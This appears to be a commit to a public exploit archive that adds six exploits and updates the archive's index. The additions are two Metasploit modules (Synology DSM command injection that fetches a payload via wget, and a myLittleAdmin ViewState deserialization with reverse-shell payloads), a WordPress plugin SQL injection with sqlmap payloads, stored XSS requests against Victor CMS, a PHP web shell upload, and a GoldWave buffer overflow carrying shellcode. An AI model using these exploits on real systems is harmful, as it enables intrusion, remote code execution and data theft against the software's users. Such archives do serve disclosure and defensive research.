DB: 2020-05-26

6 changes to exploits/shellcodes GoldWave - Buffer Overflow (SEH Unicode) Plesk/myLittleAdmin - ViewState .NET Deserialization (Metasploit) Synology DiskStation Manager - smart.cgi Remote Command Execution (Metasploit) Wordpress Plugin Form Maker 5.4.1 - 's' SQL Injection (Authenticated) Victor CMS 1.0 - 'add_user' Persistent Cross-Site Scripting Online Discussion Forum Site 1.0 - Remote Code Execution
2020-05-26 05:01:56 +00:00 · 2020-05-26 05:01:56 +00:00 · 4fbd3630c8
commit 4fbd3630c8
parent 5308efc65c
7 changed files with 647 additions and 0 deletions
--- a/exploits/hardware/remote/48514.rb
+++ b/exploits/hardware/remote/48514.rb
@ -0,0 +1,209 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Remote::HttpServer
+  include Msf::Exploit::FileDropper
+
+  DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+)
+                        &junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x.freeze
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Synology DiskStation Manager smart.cgi Remote Command Execution',
+        'Description' => %q{
+          This module exploits a vulnerability found in Synology DiskStation Manager (DSM)
+          versions < 5.2-5967-5, which allows the execution of arbitrary commands under root
+          privileges after website authentication.
+          The vulnerability is located in webman/modules/StorageManager/smart.cgi, which
+          allows appending of a command to the device to be scanned.  However, the command
+          with drive is limited to 30 characters.  A somewhat valid drive name is required,
+          thus /dev/sd is used, even though it doesn't exist.  To circumvent the character
+          restriction, a wget input file is staged in /a, and executed to download our payload
+          to /b.  From there the payload is executed.  A wfsdelay is required to give time
+          for the payload to download, and the execution of it to run.
+        },
+        'Author' =>
+          [
+            'Nigusu Kassahun', # Discovery
+            'h00die' # metasploit module
+          ],
+        'References' =>
+          [
+            [ 'CVE', '2017-15889' ],
+            [ 'EDB', '43190' ],
+            [ 'URL', 'https://ssd-disclosure.com/ssd-advisory-synology-storagemanager-smart-cgi-remote-command-execution/' ],
+            [ 'URL', 'https://synology.com/en-global/security/advisory/Synology_SA_17_65_DSM' ]
+          ],
+        'Privileged' => true,
+        'Stance' => Msf::Exploit::Stance::Aggressive,
+        'Platform' => ['python'],
+        'Arch' => [ARCH_PYTHON],
+        'Targets' =>
+          [
+            ['Automatic', {}]
+          ],
+        'DefaultTarget' => 0,
+        'DefaultOptions' => {
+          'PrependMigrate' => true,
+          'WfsDelay' => 10
+        },
+        'License' => MSF_LICENSE,
+        'DisclosureDate' => 'Nov 08 2017'
+      )
+    )
+
+    register_options(
+      [
+        Opt::RPORT(5000),
+        OptString.new('TARGETURI', [true, 'The URI of the Synology Website', '/']),
+        OptString.new('USERNAME', [true, 'The Username for Synology', 'admin']),
+        OptString.new('PASSWORD', [true, 'The Password for Synology', ''])
+      ]
+    )
+
+    register_advanced_options [
+      OptBool.new('ForceExploit', [false, 'Override check result', false])
+    ]
+  end
+
+  def check
+    vprint_status('Trying to detect installed version')
+
+    res = send_request_cgi({
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, 'webman', 'info.cgi'),
+      'vars_get' => { 'host' => '' }
+    })
+
+    if res && (res.code == 200) && res.body =~ DEVICE_INFO_PATTERN
+      version = "#{$LAST_MATCH_INFO[:major]}.#{$LAST_MATCH_INFO[:minor]}"
+      build = $LAST_MATCH_INFO[:build]
+      model = $LAST_MATCH_INFO[:model].sub(/^[a-z]+/) { |s| s[0].upcase }
+      model = "DS#{model}" unless model =~ /^[A-Z]/
+    else
+      vprint_error('Detection failed')
+      return CheckCode::Unknown
+    end
+
+    vprint_status("Model #{model} with version #{version}-#{build} detected")
+
+    case version
+    when '3.0', '4.0', '4.1', '4.2', '4.3', '5.0', '5.1'
+      return CheckCode::Appears
+    when '5.2'
+      return CheckCode::Appears if build < '5967-5'
+    end
+
+    CheckCode::Safe
+  end
+
+  def on_request_uri(cli, _request, cookie, token)
+    print_good('HTTP Server request received, sending payload')
+    send_response(cli, payload.encoded)
+    print_status('Executing payload')
+    inject_request(cookie, token, 'python b')
+  end
+
+  def inject_request(cookie, token, cmd = '')
+    send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'webman', 'modules', 'StorageManager', 'smart.cgi'),
+      'cookie' => cookie,
+      'headers' => {
+        'X-SYNO-TOKEN' => token
+      },
+      'vars_post' => {
+        'action' => 'apply',
+        'operation' => 'quick',
+        'disk' => "/dev/sd`#{cmd}`"
+      }
+    })
+  end
+
+  def login
+    # If you try to debug login through the browser, you'll see that desktop.js calls
+    # ux-all.js to do an RSA encrypted login.
+    # Wowever in a stroke of luck Mrs. h00die caused
+    # a power sag while tracing/debugging the loging, causing the NAS to power off.
+    # when that happened, it failed to get the crypto vars, and defaulted to a
+    # non-encrypted login, which seems to work just fine.  greetz Mrs. h00die!
+
+    res = send_request_cgi({
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path, 'webman', 'login.cgi'),
+      'vars_get' => { 'enable_syno_token' => 'yes' },
+      'vars_post' => {
+        'username' => datastore['USERNAME'],
+        'passwd' => datastore['PASSWORD'],
+        'OTPcode' => '',
+        '__cIpHeRtExT' => '',
+        'client_time' => Time.now.to_i,
+        'isIframeLogin' => 'yes'
+      }
+    })
+    if res && %r{<div id='synology'>(?<json>.*)</div>}m =~ res.body
+      result = JSON.parse(json)
+
+      fail_with(Failure::BadConfig, 'Incorrect Username/Password') if result['result'] == 'error'
+      if result['result'] == 'success'
+        return res.get_cookies, result['SynoToken']
+      end
+
+      fail_with(Failure::Unknown, "Unknown response: #{result}")
+    end
+  end
+
+  def exploit
+    unless check == CheckCode::Appears
+      unless datastore['ForceExploit']
+        fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
+      end
+      print_warning 'Target does not appear to be vulnerable'
+    end
+
+    if datastore['SRVHOST'] == '0.0.0.0'
+      fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful')
+    end
+
+    begin
+      print_status('Attempting Login')
+      cookie, token = login
+
+      start_service({ 'Uri' => {
+        'Proc' => proc do |cli, req|
+          on_request_uri(cli, req, cookie, token)
+        end,
+        'Path' => '/'
+      } })
+
+      print_status('Cleaning env')
+      inject_request(cookie, token, cmd = 'rm -rf /a')
+      inject_request(cookie, token, cmd = 'rm -rf b')
+      command = "#{datastore['SRVHOST']}:#{datastore['SRVPORT']}".split(//)
+      command_space = 22 - "echo -n ''>>/a".length
+      command_space -= 1
+      command.each_slice(command_space) do |a|
+        a = a.join('')
+        vprint_status("Staging wget with: echo -n '#{a}'>>/a")
+        inject_request(cookie, token, cmd = "echo -n '#{a}'>>/a")
+      end
+      print_status('Requesting payload pull')
+      register_file_for_cleanup('/usr/syno/synoman/webman/modules/StorageManager/b')
+      register_file_for_cleanup('/a')
+      inject_request(cookie, token, cmd = 'wget -i /a -O b')
+      # at this point we let the HTTP server call the last stage
+      # wfsdelay should be long enough to hold out for everything to download and run
+    rescue ::Rex::ConnectionError
+      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
+    end
+
+  end
+end
--- a/exploits/php/webapps/48509.txt
+++ b/exploits/php/webapps/48509.txt
@ -0,0 +1,56 @@
+# Exploit Title: Wordpress Plugin Form Maker 5.4.1 - 's' SQL Injection (Authenticated)
+# Exploit Author: SunCSR (Sun* Cyber Security Research)
+# Date: 2020 - 5 - 22
+# Vender Homepage: https://help.10web.io/
+# Version: <= 5.4.1
+# Tested on: Ubuntu 18.04
+
+Description:
+SQL injection in the Form Maker by 10Web WordPress Plugin before 5.4.1
+exists via the /wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=1" s
+parameter.
+
+Poc:
+GET /wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=1" HTTP/1.1
+Host: test-wp.com
+User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101
+Firefox/76.0
+Accept:
+text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Connection: close
+Cookie:
+wordpress_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C96d43f4ee5cf009365c9722f461d538f96a62637094759cb6fb7a9f54edac171;
+wordpress_test_cookie=WP+Cookie+check;
+wordpress_logged_in_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C9a63283d84855ed6eeae8e4b5f3a405fba003ddd15748bf5cdca5caaca228a19;
+wp-settings-1=libraryContent%3Dbrowse; wp-settings-time-1=1590140574;
+PHPSESSID=5bpdr8tbj5furvccoadjjj2sgb
+Upgrade-Insecure-Requests: 1
+
+SQLMap using:
+sqlmap -u '
+http://test-wp.com:80/wordpress/wp-admin/admin.php?page=blocked_ips_fm&s=123'
+--cookie='wordpress_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C96d43f4ee5cf009365c9722f461d538f96a62637094759cb6fb7a9f54edac171;wordpress_test_cookie=WP+Cookie+check;wordpress_logged_in_a1c6f59e10f34b6016913b2f9ff0346f=admin%7C1590313373%7CtioKZPEQ9lGWkoMcKGK2qjTp8kepuU9cqticECRXZ79%7C9a63283d84855ed6eeae8e4b5f3a405fba003ddd15748bf5cdca5caaca228a19;wp-settings-1=libraryContent%3Dbrowse;wp-settings-time-1=1590140574;PHPSESSID=5bpdr8tbj5furvccoadjjj2sgb'
+
+Parameter: s (GET)
+    Type: boolean-based blind
+    Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
+    Payload: page=blocked_ips_fm&s=-1027" OR 8913=8913#
+
+    Type: error-based
+    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP
+BY clause (FLOOR)
+    Payload: page=blocked_ips_fm&s=123" AND (SELECT 2867 FROM(SELECT
+COUNT(*),CONCAT(0x717a707871,(SELECT
+(ELT(2867=2867,1))),0x71787a7671,FLOOR(RAND(0)*2))x FROM
+INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- TxQH
+
+    Type: AND/OR time-based blind
+    Title: MySQL >= 5.0.12 AND time-based blind
+    Payload: page=blocked_ips_fm&s=123" AND SLEEP(5)-- oPEC
+---
+[17:20:17] [INFO] the back-end DBMS is MySQL
+web server operating system: Linux Ubuntu
+web application technology: Apache 2.4.29
+back-end DBMS: MySQL >= 5.0
--- a/exploits/php/webapps/48511.txt
+++ b/exploits/php/webapps/48511.txt
@ -0,0 +1,66 @@
+# Exploit Title: Victor CMS 1.0 - 'add_user' Persistent Cross-Site Scripting
+# Google Dork: N/A 
+# Date: 2020-05-23 
+# Exploit Author: Nitya Nand 
+# Vendor Homepage: https://github.com/VictorAlagwu/CMSsite 
+# Software Link: https://github.com/VictorAlagwu/CMSsite/archive/master.zip 
+# Version: 1.0 
+# Tested on: Linux 
+# CVE : N/A
+
+
+Description: The POST parameter 'user_name', 'user_firstname', 'user_lastname' is vulnerable to persistent cross site scripting Payload: <script>alert(1)</script>
+POST /phpmaster/admin/users.php?source=add_user HTTP/1.1
+Host: localhost
+User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+Referer: http://localhost/phpmaster/admin/users.php?source=add_user
+Content-Type: multipart/form-data; boundary=---------------------------515906178311115682892435428
+Content-Length: 417375
+Connection: close
+Cookie: PHPSESSID=8810e038f92cd7c711ee8b95db1dcacb
+Upgrade-Insecure-Requests: 1
+
+-----------------------------515906178311115682892435428
+
+Content-Disposition: form-data; name="user_name"
+"><script>alert(1)</script>
+
+-----------------------------515906178311115682892435428
+
+Content-Disposition: form-data; name="user_firstname"
+"><script>alert(2)</script>
+
+-----------------------------515906178311115682892435428
+
+Content-Disposition: form-data; name="user_lastname"
+"><script>alert(3)</script>
+
+-----------------------------515906178311115682892435428
+
+Content-Disposition: form-data; name="user_image"; filename="9400.jpg"
+Content-Type: image/jpeg
+
+-----------------------------515906178311115682892435428
+
+Content-Disposition: form-data; name="user_role"
+User
+
+-----------------------------515906178311115682892435428
+
+Content-Disposition: form-data; name="user_email"
+abc@gmail.com
+
+-----------------------------515906178311115682892435428
+
+Content-Disposition: form-data; name="user_password"
+1234
+
+-----------------------------515906178311115682892435428
+
+Content-Disposition: form-data; name="create_user"
+
+Add User
+-----------------------------515906178311115682892435428--
--- a/exploits/php/webapps/48512.txt
+++ b/exploits/php/webapps/48512.txt
@ -0,0 +1,21 @@
+# Exploit Title: Online Discussion Forum Site 1.0 - Remote Code Execution
+# Google Dork: N/A
+# Date: 2020-05-24
+# Exploit Author: Selim Enes 'Enesdex' Karaduman
+# Vendor Homepage: https://www.sourcecodester.com/php/14233/online-discussion-forum-site.html
+# Software Link: https://www.sourcecodester.com/download-code?nid=14233&title=Online+Discussion+Forum+Site
+# Version: 1.0 (REQUIRED)
+# Tested on: Windows 10 / Wamp Server
+# CVE : N/A
+Go to http://localhost/Online%20Discussion%20Forum%20Site/register.php register page to sign up
+Then fill other fields and upload the shell.php with following PHP-shell-code
+
+<?php
+$command = shell_exec($_REQUEST['cmd']);
+echo $command;
+?>
+
+After the registration process is completed go to the following page and execute the os command via uploaded shell
+http://localhost/Online%20Discussion%20Forum%20Site/ups/shell.php?cmd=$THECODE-YOU-WANT-TO-EXECUTE
+
+Any unauthenticated attacker is able to execute arbitrary os command
--- a/exploits/windows/local/48510.py
+++ b/exploits/windows/local/48510.py
@ -0,0 +1,80 @@
+# Exploit Title: GoldWave 5.70 – Buffer Overflow (SEH Unicode)
+# Date: 2020-05-14
+# Exploit Author: Andy Bowden
+# Vendor Homepage: https://www.goldwave.com/
+# Version: 5.70
+# Download Link: http://goldwave.com//downloads/gwave570.exe
+# Tested on: Windows 10 x86
+
+# PoC
+# 1. generate crash.txt, copy contents to clipboard
+# 2. open gold wave app
+# 3. select File, Open URL...
+# 4. paste contents from clipboard after 'http://'
+# 5. select OK
+
+f = open("crash.txt", "wb")
+
+buf = b""
+buf += b"\x41" * 1019
+buf += b"\x71\x71" # Unicode NOP
+buf += b"\xB3\x48" # 0x004800b3 | pop ecx, pop ebp, ret
+
+#realigning stack
+buf += b"\x75" # Unicode NOP
+buf += b"\x54" # Push ESP
+buf += b"\x75" # Unicode NOP
+buf += b"\x58" # POP EAX
+buf += b"\x75" # Unicode NOP
+buf += b"\x05\xFF\x10" # ADD EAX,
+buf += b"\x75" # Unicode NOP
+buf += b"\x2d\xEA\x10" # SUB EAX,
+buf += b"\x75"
+buf += b"\x71" * 595
+
+#msfvenom -p windows/exec CMD=calc.exe -e x86/unicode_upper
+BufferRegister=EAX -f python
+buf += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41\x51"
+buf += b"\x41\x54\x41\x58\x41\x5a\x41\x50\x55\x33\x51\x41\x44"
+buf += b"\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59\x41\x49\x41"
+buf += b"\x51\x41\x49\x41\x51\x41\x50\x41\x35\x41\x41\x41\x50"
+buf += b"\x41\x5a\x31\x41\x49\x31\x41\x49\x41\x49\x41\x4a\x31"
+buf += b"\x31\x41\x49\x41\x49\x41\x58\x41\x35\x38\x41\x41\x50"
+buf += b"\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41\x49\x51\x49"
+buf += b"\x41\x49\x51\x49\x31\x31\x31\x31\x41\x49\x41\x4a\x51"
+buf += b"\x49\x31\x41\x59\x41\x5a\x42\x41\x42\x41\x42\x41\x42"
+buf += b"\x41\x42\x33\x30\x41\x50\x42\x39\x34\x34\x4a\x42\x4b"
+buf += b"\x4c\x59\x58\x35\x32\x4b\x50\x4b\x50\x4d\x30\x31\x50"
+buf += b"\x43\x59\x4b\x35\x50\x31\x39\x30\x42\x44\x54\x4b\x50"
+buf += b"\x50\x30\x30\x54\x4b\x42\x32\x4c\x4c\x54\x4b\x31\x42"
+buf += b"\x4c\x54\x54\x4b\x34\x32\x4f\x38\x4c\x4f\x48\x37\x50"
+buf += b"\x4a\x4f\x36\x50\x31\x4b\x4f\x36\x4c\x4f\x4c\x31\x51"
+buf += b"\x43\x4c\x4c\x42\x4e\x4c\x4f\x30\x39\x31\x38\x4f\x4c"
+buf += b"\x4d\x4d\x31\x59\x37\x4a\x42\x4a\x52\x42\x32\x51\x47"
+buf += b"\x34\x4b\x50\x52\x4c\x50\x34\x4b\x30\x4a\x4f\x4c\x54"
+buf += b"\x4b\x30\x4c\x4e\x31\x34\x38\x4b\x33\x30\x48\x4b\x51"
+buf += b"\x4a\x31\x30\x51\x54\x4b\x50\x59\x4d\x50\x4d\x31\x5a"
+buf += b"\x33\x44\x4b\x31\x39\x4c\x58\x39\x53\x4e\x5a\x30\x49"
+buf += b"\x44\x4b\x4e\x54\x34\x4b\x4d\x31\x4a\x36\x4e\x51\x4b"
+buf += b"\x4f\x36\x4c\x59\x31\x38\x4f\x4c\x4d\x4b\x51\x49\x37"
+buf += b"\x4e\x58\x4b\x30\x52\x55\x4b\x46\x4c\x43\x43\x4d\x4c"
+buf += b"\x38\x4f\x4b\x43\x4d\x4e\x44\x42\x55\x5a\x44\x30\x58"
+buf += b"\x54\x4b\x52\x38\x4e\x44\x4b\x51\x59\x43\x31\x56\x34"
+buf += b"\x4b\x4c\x4c\x50\x4b\x34\x4b\x50\x58\x4d\x4c\x4b\x51"
+buf += b"\x39\x43\x44\x4b\x4d\x34\x44\x4b\x4b\x51\x4a\x30\x35"
+buf += b"\x39\x30\x44\x4d\x54\x4d\x54\x31\x4b\x51\x4b\x53\x31"
+buf += b"\x50\x59\x50\x5a\x32\x31\x4b\x4f\x49\x50\x31\x4f\x31"
+buf += b"\x4f\x31\x4a\x34\x4b\x4e\x32\x4a\x4b\x54\x4d\x51\x4d"
+buf += b"\x51\x5a\x4b\x51\x54\x4d\x54\x45\x46\x52\x4b\x50\x4d"
+buf += b"\x30\x4b\x50\x32\x30\x33\x38\x4e\x51\x34\x4b\x42\x4f"
+buf += b"\x34\x47\x4b\x4f\x49\x45\x57\x4b\x5a\x50\x38\x35\x45"
+buf += b"\x52\x52\x36\x42\x48\x37\x36\x34\x55\x47\x4d\x55\x4d"
+buf += b"\x4b\x4f\x4a\x35\x4f\x4c\x4c\x46\x33\x4c\x4c\x4a\x43"
+buf += b"\x50\x4b\x4b\x39\x50\x33\x45\x4d\x35\x47\x4b\x50\x47"
+buf += b"\x4e\x33\x42\x52\x42\x4f\x31\x5a\x4b\x50\x50\x53\x4b"
+buf += b"\x4f\x49\x45\x52\x43\x53\x31\x42\x4c\x53\x33\x4e\x4e"
+buf += b"\x32\x45\x34\x38\x53\x35\x4b\x50\x41\x41"
+buf += b"\x44" * (5000 - len(buf))
+
+f.write(buf)
+f.close()
--- a/exploits/windows/remote/48513.rb
+++ b/exploits/windows/remote/48513.rb
@ -0,0 +1,209 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+
+  Rank = ExcellentRanking
+
+  # <input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERATOR" value="CA0B0334" />
+  VIEWSTATE_GENERATOR = 'CA0B0334'.freeze
+
+  # <machineKey
+  #   validationKey="5C7EEF6650639D2CB8FAA0DA36AF24452DCF69065F2EDC2C8F2F44C0220BE2E5889CA01A207FC5FCE62D1A5A4F6D2410722261E6A33E77E0628B17AA928039BF"
+  #   decryptionKey="DC47E74EA278F789D2FF0E412AD840A89C10171F408D8AC4"
+  #   validation="SHA1" />
+  VIEWSTATE_VALIDATION_KEY =
+    "\x5c\x7e\xef\x66\x50\x63\x9d\x2c\xb8\xfa\xa0\xda\x36\xaf\x24\x45\x2d\xcf" \
+    "\x69\x06\x5f\x2e\xdc\x2c\x8f\x2f\x44\xc0\x22\x0b\xe2\xe5\x88\x9c\xa0\x1a" \
+    "\x20\x7f\xc5\xfc\xe6\x2d\x1a\x5a\x4f\x6d\x24\x10\x72\x22\x61\xe6\xa3\x3e" \
+    "\x77\xe0\x62\x8b\x17\xaa\x92\x80\x39\xbf".freeze
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Remote::AutoCheck
+  include Msf::Exploit::ViewState
+  include Msf::Exploit::CmdStager
+  include Msf::Exploit::Powershell
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Plesk/myLittleAdmin ViewState .NET Deserialization',
+        'Description' => %q{
+          This module exploits a ViewState .NET deserialization vulnerability in
+          web-based MS SQL Server management tool myLittleAdmin, for version 3.8
+          and likely older versions, due to hardcoded <machineKey> parameters in
+          the web.config file for ASP.NET.
+
+          Popular web hosting control panel Plesk offers myLittleAdmin as an
+          optional component that is selected automatically during "full"
+          installation. This exploit caters to the Plesk target, though it
+          should work fine against a standalone myLittleAdmin setup.
+
+          Successful exploitation results in code execution as the user running
+          myLittleAdmin, which is IUSRPLESK_sqladmin for Plesk and described as
+          the "SQL Admin MSSQL anonymous account."
+
+          Tested on the latest Plesk Obsidian with optional myLittleAdmin 3.8.
+        },
+        'Author' => [
+          # Reported to SSD (SecuriTeam) by an anonymous researcher
+          # Publicly disclosed by Noam Rathaus of SSD (SecuriTeam)
+          'Spencer McIntyre', # Inspiration
+          'wvu' # Module
+        ],
+        'References' => [
+          ['CVE', '2020-13166'],
+          ['URL', 'https://ssd-disclosure.com/ssd-advisory-mylittleadmin-preauth-rce/'],
+          ['URL', 'https://portswigger.net/daily-swig/mylittleadmin-has-a-big-unpatched-security-flaw']
+        ],
+        'DisclosureDate' => '2020-05-15', # SSD (SecuriTeam) advisory
+        'License' => MSF_LICENSE,
+        'Platform' => 'win',
+        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
+        'Privileged' => false,
+        'Targets' => [
+          [
+            'Windows Command',
+            'Arch' => ARCH_CMD,
+            'Type' => :win_cmd,
+            'DefaultOptions' => {
+              'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
+            }
+          ],
+          [
+            'Windows Dropper',
+            'Arch' => [ARCH_X86, ARCH_X64],
+            'Type' => :win_dropper,
+            'CmdStagerFlavor' => %i[psh_invokewebrequest certutil vbs],
+            'DefaultOptions' => {
+              'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,
+              'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
+            }
+          ],
+          [
+            'PowerShell Stager',
+            'Arch' => [ARCH_X86, ARCH_X64],
+            'Type' => :psh_stager,
+            'DefaultOptions' => {
+              'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
+            }
+          ]
+        ],
+        'DefaultTarget' => 2,
+        'DefaultOptions' => {
+          'SSL' => true,
+          'WfsDelay' => 10 # First exploit attempt may be a little slow
+        },
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
+        }
+      )
+    )
+
+    register_options([
+      Opt::RPORT(8401, true, 'The myLittleAdmin port (default for Plesk!)'),
+      OptString.new('TARGETURI', [true, 'Base path', '/'])
+    ])
+
+    # XXX: https://github.com/rapid7/metasploit-framework/issues/12963
+    import_target_defaults
+  end
+
+  def check
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path)
+    )
+
+    unless res
+      return CheckCode::Unknown('Target did not respond to check request.')
+    end
+
+    unless res.code == 200 && res.body.include?('myLittleAdmin for SQL Server')
+      return CheckCode::Unknown('Target is not running myLittleAdmin.')
+    end
+
+    vprint_good("myLittleAdmin is running at #{full_uri}")
+    check_viewstate(res.get_html_document)
+  end
+
+  def check_viewstate(html)
+    viewstate = html.at('//input[@id = "__VIEWSTATE"]/@value')&.text
+
+    unless viewstate
+      return CheckCode::Detected("__VIEWSTATE not found, can't complete check.")
+    end
+
+    @viewstate_generator =
+      html.at('//input[@id = "__VIEWSTATEGENERATOR"]/@value')&.text
+
+    unless @viewstate_generator
+      print_warning('__VIEWSTATEGENERATOR not found, using known default value')
+      @viewstate_generator = VIEWSTATE_GENERATOR
+    end
+
+    # ViewState generator needs to be a packed integer now
+    @viewstate_generator = [@viewstate_generator.to_i(16)].pack('V')
+
+    we_can_sign_viewstate = can_sign_viewstate?(
+      viewstate,
+      extra: @viewstate_generator,
+      key: VIEWSTATE_VALIDATION_KEY
+    )
+
+    if we_can_sign_viewstate
+      return CheckCode::Vulnerable('We can sign our own ViewState.')
+    end
+
+    CheckCode::Safe("We can't sign our own ViewState.")
+  end
+
+  def exploit
+    # NOTE: Automatic check is implemented by the AutoCheck mixin
+    super
+
+    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
+
+    case target['Type']
+    when :win_cmd
+      execute_command(payload.encoded)
+    when :win_dropper
+      execute_cmdstager
+    when :psh_stager
+      execute_command(cmd_psh_payload(
+        payload.encoded,
+        payload.arch.first,
+        remove_comspec: true
+      ))
+    end
+  end
+
+  def execute_command(cmd, _opts = {})
+    vprint_status("Serializing command: #{cmd}")
+
+    res = send_request_cgi(
+      'method' => 'POST',
+      'uri' => normalize_uri(target_uri.path),
+      'vars_post' => {
+        # This is the only parameter we need for successful exploitation!
+        '__VIEWSTATE' => generate_viewstate_payload(
+          cmd,
+          extra: @viewstate_generator,
+          key: VIEWSTATE_VALIDATION_KEY
+        )
+      }
+    )
+
+    unless res && res.code == 302 && res.redirection.path == '/error/index.html'
+      fail_with(Failure::PayloadFailed, "Could not execute command: #{cmd}")
+    end
+
+    print_good("Successfully executed command: #{cmd}")
+  end
+
+end
--- a/files_exploits.csv
+++ b/files_exploits.csv
@ -11081,6 +11081,7 @@ id,file,description,date,author,type,platform,port
 48499,exploits/windows/local/48499.txt,"CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR)",2020-05-21,"Xenofon Vassilakopoulos",local,windows,
 48505,exploits/windows/local/48505.txt,"Druva inSync Windows Client 6.6.3 - Local Privilege Escalation",2020-05-22,"Matteo Malvica",local,windows,
 48507,exploits/windows/local/48507.py,"VUPlayer 2.49 .m3u - Local Buffer Overflow (DEP_ASLR)",2020-05-22,Gobinathan,local,windows,
+48510,exploits/windows/local/48510.py,"GoldWave - Buffer Overflow (SEH Unicode)",2020-05-25,"Andy Bowden",local,windows,
 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80
 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80
 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139
@ -18157,6 +18158,8 @@ id,file,description,date,author,type,platform,port
 48483,exploits/multiple/remote/48483.txt,"HP LinuxKI 6.01 - Remote Command Injection",2020-05-18,"Cody Winkler",remote,multiple,
 48491,exploits/php/remote/48491.rb,"Pi-Hole - heisenbergCompensator Blocklist OS Command Execution (Metasploit)",2020-05-19,Metasploit,remote,php,
 48508,exploits/multiple/remote/48508.rb,"WebLogic Server - Deserialization RCE - BadAttributeValueExpException (Metasploit)",2020-05-22,Metasploit,remote,multiple,
+48513,exploits/windows/remote/48513.rb,"Plesk/myLittleAdmin - ViewState .NET Deserialization (Metasploit)",2020-05-25,Metasploit,remote,windows,
+48514,exploits/hardware/remote/48514.rb,"Synology DiskStation Manager - smart.cgi Remote Command Execution (Metasploit)",2020-05-25,Metasploit,remote,hardware,
 6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
@ -42736,3 +42739,6 @@ id,file,description,date,author,type,platform,port
 48500,exploits/multiple/webapps/48500.txt,"OpenEDX platform Ironwood 2.5 - Remote Code Execution",2020-05-21,"Daniel Monzón",webapps,multiple,
 48504,exploits/php/webapps/48504.txt,"Dolibarr 11.0.3 - Persistent Cross-Site Scripting",2020-05-22,"Mehmet Kelepçe",webapps,php,
 48506,exploits/php/webapps/48506.py,"Gym Management System 1.0 - Unauthenticated Remote Code Execution",2020-05-22,boku,webapps,php,
+48509,exploits/php/webapps/48509.txt,"Wordpress Plugin Form Maker 5.4.1 - 's' SQL Injection (Authenticated)",2020-05-25,SunCSR,webapps,php,
+48511,exploits/php/webapps/48511.txt,"Victor CMS 1.0 - 'add_user' Persistent Cross-Site Scripting",2020-05-25,"Nitya Nand",webapps,php,
+48512,exploits/php/webapps/48512.txt,"Online Discussion Forum Site 1.0 - Remote Code Execution",2020-05-25,Enesdex,webapps,php,